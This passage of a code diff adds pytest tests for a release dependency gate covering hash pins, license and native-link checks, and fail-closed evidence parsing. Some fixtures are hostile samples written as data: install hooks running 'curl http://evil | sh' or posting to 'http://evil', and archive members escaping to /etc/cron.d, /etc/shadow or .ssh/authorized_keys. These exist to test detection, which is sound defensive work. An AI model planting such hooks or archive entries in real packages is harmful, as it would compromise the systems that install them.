+    """A distribution whose bytes do not hash to the locked pin refuses the release."""
+    capture = build_capture(
+        tmp_path, python_evidence=_python_evidence(source_sha256=_hash("tampered"))
+    )
+    assert gate.SOURCE_HASH_MISMATCH in _codes(gate.gate(capture))
+
+
+def test_red_missing_source_hash(tmp_path: Path) -> None:
+    """Evidence with no source hash at all is a hash failure, not a skip."""
+    capture = build_capture(tmp_path, python_evidence=_python_evidence(source_sha256=""))
+    assert gate.SOURCE_HASH_MISMATCH in _codes(gate.gate(capture))
+
+
+def test_red_gpl_static_link_target(tmp_path: Path) -> None:
+    """A shipped native library statically linking a GPL archive refuses the release."""
+    capture = build_capture(
+        tmp_path,
+        python_evidence=_python_evidence(
+            native_libraries=[
+                {
+                    "path": "greenlib/_speed.so",
+                    "needed": ["libc.so.6"],
+                    "static_archives": [{"name": "libreadline.a", "license": "GPL-3.0-only"}],
+                }
+            ]
+        ),
+    )
+    assert gate.NATIVE_LINK_DENIED in _codes(gate.gate(capture))
+
+
+def test_red_undeclared_dynamic_link_target(tmp_path: Path) -> None:
+    """A non-platform soname with no declared license refuses the release."""
+    capture = build_capture(
+        tmp_path,
+        python_evidence=_python_evidence(
+            native_libraries=[
+                {"path": "greenlib/_speed.so", "needed": ["libmystery.so.3"], "static_archives": []}
+            ]
+        ),
+    )
+    assert gate.NATIVE_LINK_UNKNOWN in _codes(gate.gate(capture))
+
+
+def test_declared_dynamic_link_target_is_recorded(tmp_path: Path) -> None:
+    """A declared, permissive bundled library passes and is recorded in provenance."""
+    capture = build_capture(
+        tmp_path,
+        python_evidence=_python_evidence(
+            native_libraries=[
+                {"path": "greenlib/_speed.so", "needed": ["libfoo.so.1"], "static_archives": []}
+            ],
+            bundled_library_licenses={"libfoo.so.1": "BSD-3-Clause"},
+        ),
+    )
+    report = gate.gate(capture)
+    assert report.failures == []
+    row = next(row for row in report.dependencies if row["ecosystem"] == "pypi")
+    assert {"name": "cwl:native:dynamic", "value": "libfoo.so.1=BSD-3-Clause"} in row[
+        "native_properties"
+    ]
+
+
+def test_permissive_static_archive_is_recorded(tmp_path: Path) -> None:
+    """An allowed static archive is recorded instead of refused."""
+    capture = build_capture(
+        tmp_path,
+        python_evidence=_python_evidence(
+            native_libraries=[
+                {
+                    "path": "greenlib/_speed.so",
+                    "needed": [],
+                    "static_archives": [{"name": "libz.a", "license": "Zlib"}],
+                }
+            ]
+        ),
+    )
+    report = gate.gate(capture)
+    assert report.failures == []
+    row = next(row for row in report.dependencies if row["ecosystem"] == "pypi")
+    assert {"name": "cwl:native:static", "value": "libz.a=Zlib"} in row["native_properties"]
+
+
+def test_system_runtime_sonames_are_allowlisted_with_a_rationale(tmp_path: Path) -> None:
+    """glibc and the GCC runtime are exempt and the exemption is written down."""
+    report = gate.gate(build_capture(tmp_path))
+    row = next(row for row in report.dependencies if row["ecosystem"] == "pypi")
+    values = {item["value"] for item in row["native_properties"]}
+    assert any(value.startswith("libc.so.6=LGPL-2.1-or-later") for value in values)
+    assert any("GCC-exception-3.1" in value for value in values)
+    assert any(value.startswith("libpython3.13.so.1.0=PSF-2.0") for value in values)
+
+
+# ---------------------------------------------------------------------------
+# RED: malicious fixtures
+# ---------------------------------------------------------------------------
+
+
+@pytest.mark.parametrize(
+    "member",
+    [
+        {"type": "file", "name": "../../etc/cron.d/backdoor", "linkname": ""},
+        {"type": "file", "name": "/etc/cron.d/backdoor", "linkname": ""},
+        {"type": "symlink", "name": "pkg/link", "linkname": "../../../root/.ssh/authorized_keys"},
+        {"type": "hardlink", "name": "pkg/link", "linkname": "/etc/shadow"},
+        {"type": "file", "name": "", "linkname": ""},
+    ],
+)
+def test_red_archive_path_escape(tmp_path: Path, member: dict[str, str]) -> None:
+    """Any archive member escaping the extraction root refuses the release."""
+    capture = build_capture(
+        tmp_path, python_evidence=_python_evidence(archive_members=[member])
+    )
+    assert gate.ARCHIVE_PATH_ESCAPE in _codes(gate.gate(capture))
+
+
+def test_red_windows_drive_letter_member(tmp_path: Path) -> None:
+    """A drive-qualified member name is an absolute path escape."""
+    capture = build_capture(
+        tmp_path,
+        python_evidence=_python_evidence(
+            archive_members=[{"type": "file", "name": "C:\\windows\\system32\\evil", "linkname": ""}]
+        ),
+    )
+    assert gate.ARCHIVE_PATH_ESCAPE in _codes(gate.gate(capture))
+
+
+@pytest.mark.parametrize(
+    "source",
+    [
+        'cmdclass = {"install": Backdoor}',
+        "import subprocess\nsubprocess.run(['curl', 'http://evil'])",
+        "import os\nos.system('curl http://evil | sh')",
+        "import os\nos.popen('id')",
+        "import urllib.request",
+        "import http.client",
+        "requests.post('http://evil')",
+        "socket.socket()",
+        'std::process::Command::new("sh")',
+        "reqwest::blocking::get(url)",
+    ],
+)
+def test_red_untrusted_install_hook(tmp_path: Path, source: str) -> None:
+    """An install or build hook that spawns or phones home refuses the release."""
+    capture = build_capture(
+        tmp_path, python_evidence=_python_evidence(install_hook_sources={"setup.py": source})
+    )
+    assert gate.INSTALL_HOOK in _codes(gate.gate(capture))
+
+
+def test_cmdclass_single_quoted_command_is_detected(tmp_path: Path) -> None:
+    """Single-quoted cmdclass keys are detected exactly like double-quoted ones."""
+    capture = build_capture(
+        tmp_path,
+        python_evidence=_python_evidence(
+            install_hook_sources={"setup.py": "cmdclass = {'develop': Hook, 'egg_info': Hook}"}
+        ),
+    )
+    assert gate.INSTALL_HOOK in _codes(gate.gate(capture))
+
+
+def test_benign_cmdclass_without_lifecycle_override_passes(tmp_path: Path) -> None:
+    """A cmdclass that overrides only build_ext is not an install hook."""
+    capture = build_capture(
+        tmp_path,
+        python_evidence=_python_evidence(
+            install_hook_sources={"setup.py": 'cmdclass = {"build_ext": Builder}'}
+        ),
+    )
+    assert gate.gate(capture).failures == []
+
+
+# ---------------------------------------------------------------------------
+# RED: Strix structured evidence
+# ---------------------------------------------------------------------------
+
+
+def test_red_missing_strix_binding(tmp_path: Path) -> None:
+    """A dependency with no structured binding refuses the release."""
+    capture = build_capture(tmp_path)
+    (capture / "strix" / "bindings" / "pypi__greenlib__1.0.0.json").unlink()
+    assert gate.STRIX_BINDING_MISSING in _codes(gate.gate(capture))
+
+
+@pytest.mark.parametrize(
+    "text",
+    [
+        "0 findings",
+        "No exploitable vulnerabilities detected",
+    ],
+)
+def test_red_textual_pass_is_never_accepted(tmp_path: Path, text: str) -> None:
+    """A textual '0 findings' is rejected rather than treated as a pass."""
+    capture = build_capture(tmp_path)
+    (capture / "strix" / "bindings" / "pypi__greenlib__1.0.0.json").write_text(
+        text, encoding="utf-8"
+    )
+    assert gate.STRIX_TEXTUAL_PASS_REJECTED in _codes(gate.gate(capture))
+
+
+def test_red_json_string_evidence_is_rejected(tmp_path: Path) -> None:
+    """Valid JSON that is merely a string is still prose, not a binding."""
+    capture = build_capture(tmp_path)
+    _write(
+        capture / "strix" / "bindings" / "pypi__greenlib__1.0.0.json",
+        "No exploitable vulnerabilities detected",
+    )
+    assert gate.STRIX_TEXTUAL_PASS_REJECTED in _codes(gate.gate(capture))
+
+
+def test_red_summary_object_without_the_binding_schema(tmp_path: Path) -> None:
+    """A JSON object carrying only a textual summary is rejected as prose."""
+    capture = build_capture(tmp_path)
+    _write(
+        capture / "strix" / "bindings" / "pypi__greenlib__1.0.0.json",
+        {"summary": "No exploitable vulnerabilities detected"},
+    )
+    assert gate.STRIX_TEXTUAL_PASS_REJECTED in _codes(gate.gate(capture))
+
+
+def test_red_binding_without_the_declared_schema(tmp_path: Path) -> None:
+    """A structured object that does not declare the contract is malformed."""
+    capture = build_capture(tmp_path)
+    _write(
+        capture / "strix" / "bindings" / "pypi__greenlib__1.0.0.json",
+        {"findings": [], "verdict": "no_exploitable_findings"},
+    )
+    assert gate.STRIX_BINDING_MALFORMED in _codes(gate.gate(capture))
+
+
+def _binding(capture: Path) -> dict[str, Any]:
+    """Read the Python dependency's structured binding for mutation."""
+    return json.loads(
+        (capture / "strix" / "bindings" / "pypi__greenlib__1.0.0.json").read_text(
+            encoding="utf-8"
+        )
+    )
+
+
+@pytest.mark.parametrize(
+    ("mutation", "code"),
+    [
+        ({"dependency": {"ecosystem": "pypi", "name": "other", "version": "1.0.0"}},
+         gate.STRIX_BINDING_UNBOUND),
+        ({"dependency": "greenlib"}, gate.STRIX_BINDING_UNBOUND),
+        ({"source_sha": "b" * 40}, gate.STRIX_BINDING_UNBOUND),
+        ({"fixture": "greenlib"}, gate.STRIX_BINDING_MALFORMED),
+        ({"findings": "none"}, gate.STRIX_BINDING_MALFORMED),
+        ({"verdict": "looks fine to me"}, gate.STRIX_BINDING_MALFORMED),
+        ({"verdict": "findings_present"}, gate.STRIX_FINDINGS_OPEN),
+        ({"findings": [{"scenario": "install_hooks", "severity": "high"}]},
+         gate.STRIX_FINDINGS_OPEN),
+    ],
+)
+def test_red_binding_mutations(
+    tmp_path: Path, mutation: dict[str, Any], code: str
+) -> None:
+    """Each structural defect in the binding refuses the release with its own code."""
+    capture = build_capture(tmp_path)
+    payload = _binding(capture)
+    payload.update(mutation)
+    _write(capture / "strix" / "bindings" / "pypi__greenlib__1.0.0.json", payload)
+    assert code in _codes(gate.gate(capture))
+
+
+def test_red_binding_names_a_different_fixture(tmp_path: Path) -> None:
+    """A binding whose fixture digest is not this dependency's fixture is unbound."""
+    capture = build_capture(tmp_path)
+    payload = _binding(capture)
+    payload["fixture"]["sha256"] = _hash("some other fixture")
+    _write(capture / "strix" / "bindings" / "pypi__greenlib__1.0.0.json", payload)
+    assert gate.STRIX_BINDING_UNBOUND in _codes(gate.gate(capture))
+
+
+def test_red_binding_omits_a_required_scenario(tmp_path: Path) -> None:
+    """A binding that does not cover every simulated surface is malformed."""
+    capture = build_capture(tmp_path)
+    payload = _binding(capture)
+    payload["fixture"]["scenarios"] = ["file_parsing"]
+    _write(capture / "strix" / "bindings" / "pypi__greenlib__1.0.0.json", payload)
+    assert gate.STRIX_BINDING_MALFORMED in _codes(gate.gate(capture))
+
+
+def test_red_missing_per_dependency_evidence(tmp_path: Path) -> None:
+    """A resolved dependency with no captured evidence refuses the release."""
+    capture = build_capture(tmp_path)
+    (capture / "evidence" / "cargo__greencrate__0.1.0.json").unlink()
+    assert gate.EVIDENCE_MISSING in _codes(gate.gate(capture))
+
+
+def test_fixtures_are_isolated_per_dependency(tmp_path: Path) -> None:
+    """Each dependency gets its own fixture, so one digest can never cover two."""
+    python_fixture = gate.build_fixture(
+        gate.Dependency("pypi", "greenlib", "1.0.0"), _python_evidence()
+    )
+    cargo_fixture = gate.build_fixture(
+        gate.Dependency("cargo", "greencrate", "0.1.0"), _cargo_evidence()
+    )
+    assert gate.fixture_digest(python_fixture) != gate.fixture_digest(cargo_fixture)
+    assert sorted(python_fixture["scenarios"]) == list(gate.REQUIRED_SCENARIOS)
+    assert gate.fixture_digest(python_fixture) == gate.fixture_digest(
+        gate.build_fixture(gate.Dependency("pypi", "greenlib", "1.0.0"), _python_evidence())
+    )
diff --git a/tests/test_release_dependency_gate_capture_and_seal.py b/tests/test_release_dependency_gate_capture_and_seal.py
new file mode 100644
index 0000000000..f0ee727063
--- /dev/null
+++ b/tests/test_release_dependency_gate_capture_and_seal.py
@@ -0,0 +1,822 @@
+"""Raw-capture assembly, sealed-evidence composition, and fail-closed parsing (#2342).
+
+These tests cover the halves of the gate that surround the policy decision: the
+tested transformation from raw runner output into the capture contract, the
+sealed six-member evidence directory that
+``.github/workflows/exact-artifact-sbom-attestation.yml`` verifies, and every
+input-validation path that must fail closed rather than degrade.
+"""
+
+from __future__ import annotations
+
+import hashlib
+import json
+from pathlib import Path
+from typing import Any
+
+import pytest
+
+from scripts.ci import release_dependency_gate as gate
+from scripts.ci import verify_exact_artifact_sbom_handoff as handoff
+from tests.test_release_dependency_gate import (
+    CARGO_METADATA,
+    PY_HASH,
+    REPOSITORY,
+    SOURCE_SHA,
+    build_capture,
+    _hash,
+)
+
+
+# ---------------------------------------------------------------------------
+# Trusted binder resolution
+# ---------------------------------------------------------------------------
+
+
+def test_binder_resolves_next_to_this_script() -> None:
+    """The binder is found beside the gate script, not via a repository root."""
+    binder = gate.resolve_evidence_binder()
+    assert binder.name == gate.BINDER_FILENAME
+    assert binder.parent == Path(gate.__file__).resolve().parent
+
+
+def test_missing_binder_fails_closed(tmp_path: Path) -> None:
+    """A script directory without the trusted binder refuses to gate anything."""
+    with pytest.raises(gate.GateError) as error:
+        gate.resolve_evidence_binder(tmp_path)
+    assert error.value.code == "STRIX_BINDER_UNAVAILABLE"
+
+
+def test_symlinked_binder_fails_closed(tmp_path: Path) -> None:
+    """A symlinked binder is refused even though it would resolve to real bytes."""
+    (tmp_path / gate.BINDER_FILENAME).symlink_to(gate.resolve_evidence_binder())
+    with pytest.raises(gate.GateError):
+        gate.resolve_evidence_binder(tmp_path)
+
+
+def test_gate_error_and_failure_serialize() -> None:
+    """A gate error carries its stable code and a failure serializes for artifacts."""
+    error = gate.GateError("SOME_CODE", "some detail")
+    assert (error.code, error.detail) == ("SOME_CODE", "some detail")
+    assert str(error) == "SOME_CODE: some detail"
+    assert gate.Failure("C", "s", "d").to_json() == {
+        "code": "C",
+        "subject": "s",
+        "detail": "d",
+    }
+
+
+# ---------------------------------------------------------------------------
+# Bounded capture loading
+# ---------------------------------------------------------------------------
+
+
+def test_missing_capture_member_fails_closed(tmp_path: Path) -> None:
+    """An absent capture member is a refusal, not an empty default."""
+    with pytest.raises(gate.GateError) as error:
+        gate.load_json(tmp_path / "absent.json")
+    assert error.value.code == gate.CAPTURE_INCOMPLETE
+
+
+def test_symlinked_capture_member_fails_closed(tmp_path: Path) -> None:
+    """A symlinked capture member is refused before it is read."""
+    (tmp_path / "real.json").write_text("{}", encoding="utf-8")
+    (tmp_path / "link.json").symlink_to(tmp_path / "real.json")
+    with pytest.raises(gate.GateError):
+        gate.load_json(tmp_path / "link.json")
+
+
+def test_oversized_capture_member_fails_closed(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    """A capture member larger than the bound is refused rather than parsed."""
+    path = tmp_path / "big.json"
+    path.write_text("{}", encoding="utf-8")
+    monkeypatch.setattr(gate, "_MAX_JSON_BYTES", 1)
+    with pytest.raises(gate.GateError):
+        gate.load_json(path)
+
+
+def test_invalid_json_capture_member_fails_closed(tmp_path: Path) -> None:
+    """A capture member that is not JSON is refused."""
+    path = tmp_path / "bad.json"
+    path.write_text("{not json", encoding="utf-8")
+    with pytest.raises(gate.GateError):
+        gate.load_json(path)
+
+
+def test_evidence_shape_helpers_fail_closed() -> None:
+    """Array and object evidence fields are validated before they are trusted."""
+    with pytest.raises(gate.GateError) as array_error:
+        gate._require_list({"members": "nope"}, "members", "pypi/x@1")
+    assert array_error.value.code == gate.EVIDENCE_INCOMPLETE
+    with pytest.raises(gate.GateError):
+        gate._require_mapping({"texts": []}, "texts", "pypi/x@1")
+
+
+# ---------------------------------------------------------------------------
+# Python and Cargo enumeration failures
+# ---------------------------------------------------------------------------
+
+
+@pytest.mark.parametrize(
+    "lock",
+    [
+        "greenlib>=1.0.0 --hash=sha256:" + PY_HASH,
+        "greenlib==1.0.0",
+        "# only a comment\n",
+        "-r other.txt\n",
+    ],
+)
+def test_unpinned_lock_is_refused(lock: str) -> None:
+    """A lock that is not exactly pinned and hashed cannot be enumerated."""
+    with pytest.raises(gate.GateError) as error:
+        gate.parse_python_lock(lock)
+    assert error.value.code == gate.LOCK_UNPINNED
+
+
+def test_lock_continuation_lines_are_joined() -> None:
+    """Backslash continuations are joined so the hash binds to its requirement."""
+    parsed = gate.parse_python_lock(f"greenlib==1.0.0 \\\n    --hash=sha256:{PY_HASH}\n")
+    assert parsed == {("greenlib", "1.0.0"): frozenset({PY_HASH})}
+
+
+@pytest.mark.parametrize(
+    "payload",
+    [
+        [],
+        {"installed": {}},
+        {"installed": [{}]},
+        {"installed": [{"metadata": {"name": "x"}}]},
+    ],
+)
+def test_malformed_environment_capture_is_refused(payload: Any) -> None:
+    """``pip inspect`` output that is not the documented shape is refused."""
+    with pytest.raises(gate.GateError) as error:
+        gate.parse_installed_environment(payload)
+    assert error.value.code == gate.CAPTURE_INCOMPLETE
+
+
+@pytest.mark.parametrize(
+    "text",
+    ["this is not toml = = =", "version = 4\n", '[[package]]\nversion = "1.0"\n'],
+)
+def test_malformed_cargo_lock_is_refused(text: str) -> None:
+    """A Cargo lock that cannot be enumerated is refused."""
+    with pytest.raises(gate.GateError) as error:
+        gate.parse_cargo_lock(text)
+    assert error.value.code == gate.CAPTURE_INCOMPLETE
+
+
+def _metadata(**overrides: Any) -> dict[str, Any]:
+    """Return a mutable copy of the passing cargo metadata capture."""
+    payload = json.loads(json.dumps(CARGO_METADATA))
+    payload.update(overrides)
+    return payload
+
+
+@pytest.mark.parametrize(
+    "payload",
+    [
+        [],
+        {"packages": {}, "resolve": {}},
+        {"packages": [{"name": "x"}], "resolve": {"root": "r", "nodes": []}},
+        {"packages": [{"id": "r"}], "resolve": {"nodes": {}, "root": "r"}},
+        {"packages": [{"id": "r"}], "resolve": {"nodes": [{}], "root": "r"}},
+        {
+            "packages": [{"id": "r", "name": "r", "version": "1"}],
+            "resolve": {"nodes": [{"id": "r", "deps": [{}]}], "root": "r"},
+        },
+        {
+            "packages": [{"id": "r", "name": "r", "version": "1"}],
+            "resolve": {"nodes": [{"id": "other", "deps": []}], "root": "r"},
+        },
+        {
+            "packages": [{"id": "r", "name": "r", "version": "1"}],
+            "resolve": {"nodes": [{"id": "r", "deps": [{"pkg": "ghost"}]}], "root": "r"},
+        },
+        {
+            "packages": [{"id": "r", "name": "r", "version": "1"}, {"id": "d", "name": 7}],
+            "resolve": {
+                "nodes": [{"id": "r", "deps": [{"pkg": "d"}]}, {"id": "d", "deps": []}],
+                "root": "r",
+            },
+        },
+    ],
+)
+def test_malformed_cargo_metadata_is_refused(payload: Any) -> None:
+    """Every defect in the resolved build graph refuses enumeration."""
+    with pytest.raises(gate.GateError) as error:
+        gate.resolve_cargo_graph(payload)
+    assert error.value.code == gate.CAPTURE_INCOMPLETE
+
+
+def test_shared_transitive_dependency_is_visited_once() -> None:
+    """A diamond in the build graph resolves to one component, not two."""
+    payload = {
+        "packages": [
+            {"id": "r", "name": "root", "version": "1"},
+            {"id": "a", "name": "a", "version": "1"},
+            {"id": "b", "name": "b", "version": "1"},
+            {"id": "c", "name": "c", "version": "1"},
+        ],
+        "resolve": {
+            "root": "r",
+            "nodes": [
+                {"id": "r", "deps": [{"pkg": "a"}, {"pkg": "b"}]},
+                {"id": "a", "deps": [{"pkg": "c"}]},
+                {"id": "b", "deps": [{"pkg": "c"}]},
+                {"id": "c", "deps": []},
+            ],
+        },
+    }
+    assert set(gate.resolve_cargo_graph(payload)) == {("a", "1"), ("b", "1"), ("c", "1")}
+
+
+def test_cargo_lock_and_build_graph_must_agree() -> None:
+    """Either asymmetry between Cargo.lock and the build graph refuses the release."""
+    root = ("root", "1")
+    graph = {("a", "1"): {}, ("b", "1"): {}}
+    lock = {root: None, ("a", "1"): _hash("a"), ("c", "1"): _hash("c")}
+    codes = {failure.code for failure in gate.reconcile_cargo(lock, graph, root)}
+    assert codes == {gate.CARGO_LOCK_GRAPH_MISMATCH}
+
+
+def test_cargo_registry_dependency_without_a_checksum_is_refused() -> None:
+    """A resolved crate with no Cargo.lock checksum has no verifiable source."""
+    root = ("root", "1")
+    failures = gate.reconcile_cargo({root: None, ("a", "1"): None}, {("a", "1"): {}}, root)
+    assert [failure.code for failure in failures] == [gate.CARGO_CHECKSUM_MISSING]
+
+
+def test_cargo_only_and_python_only_releases_are_both_supported(tmp_path: Path) -> None:
+    """A release may declare one ecosystem; the other's captures are then unused."""
+    python_only = build_capture(tmp_path / "py")
+    payload = json.loads((python_only / "release.json").read_text(encoding="utf-8"))
+    payload["ecosystems"] = ["python"]
+    (python_only / "release.json").write_text(json.dumps(payload), encoding="utf-8")
+    report = gate.gate(python_only)
+    assert [row["ecosystem"] for row in report.dependencies] == ["pypi"]
+
+    cargo_only = build_capture(tmp_path / "rs")
+    payload["ecosystems"] = ["cargo"]
+    (cargo_only / "release.json").write_text(json.dumps(payload), encoding="utf-8")
+    report = gate.gate(cargo_only)
+    assert [row["ecosystem"] for row in report.dependencies] == ["cargo"]
+
+
+# ---------------------------------------------------------------------------
+# release.json and per-dependency evidence validation
+# ---------------------------------------------------------------------------
+
+
+@pytest.mark.parametrize(
+    "mutation",
+    [
+        {"source_repository": "not-a-repository"},
+        {"source_sha": "abc"},
+        {"ecosystems": []},
+        {"ecosystems": "python"},
+    ],
+)
+def test_malformed_release_capture_is_refused(tmp_path: Path, mutation: dict[str, Any]) -> None:
+    """The release identity must be exact before any dependency is examined."""
+    capture = build_capture(tmp_path)
+    payload = json.loads((capture / "release.json").read_text(encoding="utf-8"))
+    payload.update(mutation)
+    (capture / "release.json").write_text(json.dumps(payload), encoding="utf-8")
+    with pytest.raises(gate.GateError) as error:
+        gate.gate(capture)
+    assert error.value.code == gate.CAPTURE_INCOMPLETE
+
+
+def test_release_capture_must_be_an_object(tmp_path: Path) -> None:
+    """A release capture that is not an object is refused."""
+    capture = build_capture(tmp_path)
+    (capture / "release.json").write_text("[]", encoding="utf-8")
+    with pytest.raises(gate.GateError):
+        gate.gate(capture)
+
+
+def test_enumerating_nothing_is_a_refusal_not_a_pass(tmp_path: Path) -> None:
+    """An ecosystem this gate cannot enumerate is unverifiable, never a vacuous pass.
+
+    CO#1226 accepted coverage because one component of one ecosystem existed. A
+    declared ecosystem with no enumerator therefore refuses the release with
+    ``SCOPE_UNVERIFIABLE`` and names the ecosystem, rather than being skipped.
+    """
+    capture = build_capture(tmp_path)
+    payload = json.loads((capture / "release.json").read_text(encoding="utf-8"))
+    payload["ecosystems"] = ["npm"]
+    (capture / "release.json").write_text(json.dumps(payload), encoding="utf-8")
+    report = gate.gate(capture)
+    assert not report.passed
+    codes = {failure.code for failure in report.failures}
+    assert gate.SCOPE_UNVERIFIABLE in codes
+    assert any(
+        failure.subject == "ecosystem/npm"
+        for failure in report.failures
+        if failure.code == gate.SCOPE_UNVERIFIABLE
+    )
+    assert report.to_json()["scopes"] == [
+        {
+            "ecosystem": "npm",
+            "expected_count": 0,
+            "enumerated_count": 0,
+            "collected_count": 0,
+            "matched_count": 0,
+            "established": False,
+        }
+    ]
+
+
+def test_one_resolved_ecosystem_cannot_mask_an_unenumerable_one(tmp_path: Path) -> None:
+    """A fully collected python scope never establishes a second ecosystem's scope."""
+    capture = build_capture(tmp_path)
+    payload = json.loads((capture / "release.json").read_text(encoding="utf-8"))
+    payload["ecosystems"] = ["python", "cargo", "npm"]
+    (capture / "release.json").write_text(json.dumps(payload), encoding="utf-8")
+    report = gate.gate(capture)
+    assert not report.passed
+    unverifiable = [
+        failure for failure in report.failures if failure.code == gate.SCOPE_UNVERIFIABLE
+    ]
+    assert [failure.subject for failure in unverifiable] == ["ecosystem/npm"]
+    rows = {row["ecosystem"]: row for row in report.to_json()["scopes"]}
+    # python and cargo are fully established; npm is not, and that refuses the run.
+    assert rows["python"]["established"] and rows["cargo"]["established"]
+    assert rows["npm"]["established"] is False
+
+
+def test_evidence_must_be_an_object(tmp_path: Path) -> None:
+    """Per-dependency evidence that is not an object is refused."""
+    capture = build_capture(tmp_path)
+    (capture / "evidence" / "pypi__greenlib__1.0.0.json").write_text("[]", encoding="utf-8")
+    with pytest.raises(gate.GateError) as error:
+        gate.gate(capture)
+    assert error.value.code == gate.EVIDENCE_INCOMPLETE
+
+
+@pytest.mark.parametrize("inclusion", [[], "wheel", ["deb"]])
+def test_distribution_inclusion_must_be_declared(tmp_path: Path, inclusion: Any) -> None:
+    """Every dependency must record which distributions include it."""
+    from tests.test_release_dependency_gate import _python_evidence
+
+    capture = build_capture(
+        tmp_path, python_evidence=_python_evidence(distribution_inclusion=inclusion)
+    )
+    with pytest.raises(gate.GateError) as error:
+        gate.gate(capture)
+    assert error.value.code == gate.EVIDENCE_INCOMPLETE
+
+
+@pytest.mark.parametrize(
+    "mutation",
+    [
+        {"native_libraries": ["nope"]},
+        {"native_libraries": [{"path": "x.so", "static_archives": ["nope"]}]},
+        {"license_texts": []},
+        {"bundled_library_licenses": []},
+        {"classifiers": "MIT"},
+    ],
+)
+def test_malformed_evidence_fields_are_refused(tmp_path: Path, mutation: dict[str, Any]) -> None:
+    """Every evidence field is shape-checked before the policy consults it."""
+    from tests.test_release_dependency_gate import _python_evidence
+
+    capture = build_capture(tmp_path, python_evidence=_python_evidence(**mutation))
+    if "classifiers" in mutation:
+        # A non-list classifier block is ignored rather than fatal, so the
+        # dependency falls through to LICENSE_MISSING instead of raising.
+        payload = _python_evidence(license_expression="", license="", **mutation)
+        capture = build_capture(tmp_path / "classifiers", python_evidence=payload)
+        assert gate.LICENSE_MISSING in {
+            failure.code for failure in gate.gate(capture).failures
+        }
+        return
+    with pytest.raises(gate.GateError) as error:
+        gate.gate(capture)
+    assert error.value.code == gate.EVIDENCE_INCOMPLETE
+
+
+@pytest.mark.parametrize(
+    "selections",
+    [
+        {},
+        [[]],
+        [{"ecosystem": "pypi", "name": "greenlib"}],
+    ],
+)
+def test_malformed_license_selections_are_refused(tmp_path: Path, selections: Any) -> None:
+    """A selection file that does not declare a complete selection is refused."""
+    capture = build_capture(tmp_path, selections=[])
+    (capture / "license-selections.json").write_text(json.dumps(selections), encoding="utf-8")
+    with pytest.raises(gate.GateError) as error:
+        gate.gate(capture)
+    assert error.value.code == gate.CAPTURE_INCOMPLETE
+
+
+def test_archive_escape_detector_skips_benign_members() -> None:
+    """A member whose link target stays inside the root is not an escape."""
+    assert gate.detect_archive_escape(
+        [{"type": "symlink", "name": "pkg/a", "linkname": "b"}]
+    ) == []
+
+
+# ---------------------------------------------------------------------------
+# Raw-capture assembly
+# ---------------------------------------------------------------------------
+
+
+def _write_raw(root: Path, **files: str) -> Path:
+    """Write one raw dependency capture directory with the given member texts."""
+    root.mkdir(parents=True, exist_ok=True)
+    for name, text in files.items():
+        target = root / name.replace("__", "/")
+        target.parent.mkdir(parents=True, exist_ok=True)
+        target.write_text(text, encoding="utf-8")
+    return root
+
+
+def test_capture_assembles_evidence_and_isolated_fixtures(tmp_path: Path) -> None:
+    """Raw runner output becomes the capture contract plus one fixture per dependency."""
+    raw = tmp_path / "raw"
+    _write_raw(
+        raw / "one",
+        **{
+            "metadata.json": json.dumps(
+                {
+                    "ecosystem": "pypi",
+                    "name": "Green_Lib",
+                    "version": "1.0.0",
+                    "license_expression": "MIT",
+                    "classifiers": ["License :: OSI Approved :: MIT License"],
+                    "distribution_inclusion": ["wheel"],
+                    "known_vulnerabilities": [{"id": "GHSA-xxxx"}],
+                }
+            ),
+            "source.sha256": f"{PY_HASH}  greenlib-1.0.0.tar.gz\n",
+            "members.txt": "file\tgreenlib/__init__.py\t\n\nsymlink\tpkg/l\t../out\n",
+            "parsed_inputs.txt": "greenlib/__init__.py\n\n",
+            "licenses__LICENSE": "MIT License",
+            "hooks__setup.py": "from setuptools import setup",
+            "native.json": json.dumps([{"path": "x.so", "needed": [], "static_archives": []}]),
+            "bundled_library_licenses.json": json.dumps({"libfoo.so.1": "MIT"}),
+        },
+    )
+    capture_root = tmp_path / "capture"
+    from tests.test_release_dependency_gate import _fixture_archive
+    snapshot = _fixture_archive({"LICENSE": "MIT License"}, "pypi")
+    (raw / "one/source.archive").write_bytes(snapshot)
+    (raw / "one/source.sha256").write_text(hashlib.sha256(snapshot).hexdigest())
+    assert gate.capture(raw, capture_root) == ["pypi/green-lib@1.0.0"]
+    evidence = json.loads(
+        (capture_root / "evidence" / "pypi__green-lib__1.0.0.json").read_text(encoding="utf-8")
+    )
+    assert evidence["source_sha256"] == hashlib.sha256(snapshot).hexdigest()
+    assert evidence["license_texts"] == {"LICENSE": "MIT License"}
+    assert evidence["install_hook_sources"] == {"setup.py": "from setuptools import setup"}
+    assert evidence["archive_members"] == [{"type": "file", "name": "LICENSE", "linkname": ""}]
+    assert evidence["parsed_inputs"] == ["greenlib/__init__.py"]
+    fixture = json.loads(
+        (capture_root / "strix" / "fixtures" / "pypi__green-lib__1.0.0.json").read_text(
+            encoding="utf-8"
+        )
+    )
+    digest = (
+        (capture_root / "strix" / "fixtures" / "pypi__green-lib__1.0.0.sha256")
+        .read_text(encoding="utf-8")
+        .strip()
+    )
+    assert gate.fixture_digest(fixture) == digest
+    assert fixture["scenarios"]["known_vulnerability_surface"] == {"advisories": ["GHSA-xxxx"]}
+
+
+def test_capture_requires_archive_even_if_optional_raw_members_are_absent(tmp_path: Path) -> None:
+    """A dependency may omit hook output, but must not omit source bytes."""
+    raw = tmp_path / "raw"
+    _write_raw(
+        raw / "cargo-dep",
+        **{
+            "metadata.json": json.dumps(
+                {"ecosystem": "cargo", "name": "greencrate", "version": "0.1.0"}
+            ),
+        },
+    )
+    with pytest.raises(gate.GateError) as error:
+        gate.capture(raw, tmp_path / "capture")
+    assert error.value.code == gate.CAPTURE_INCOMPLETE
+
+
+def test_capture_refuses_a_missing_or_empty_raw_root(tmp_path: Path) -> None:
+    """A raw root that is absent or holds no dependency is refused."""
+    with pytest.raises(gate.GateError):
+        gate.capture(tmp_path / "absent", tmp_path / "capture")
+    (tmp_path / "empty").mkdir()
+    with pytest.raises(gate.GateError):
+        gate.capture(tmp_path / "empty", tmp_path / "capture")
+
+
+def test_capture_refuses_non_directory_raw_entries(tmp_path: Path) -> None:
+    """A stray file in the raw root is refused rather than skipped."""
+    raw = tmp_path / "raw"
+    raw.mkdir()
+    (raw / "stray.txt").write_text("x", encoding="utf-8")
+    with pytest.raises(gate.GateError):
+        gate.capture(raw, tmp_path / "capture")
+
+
+def test_capture_refuses_non_regular_license_members(tmp_path: Path) -> None:
+    """A directory inside the flattened license capture is refused."""
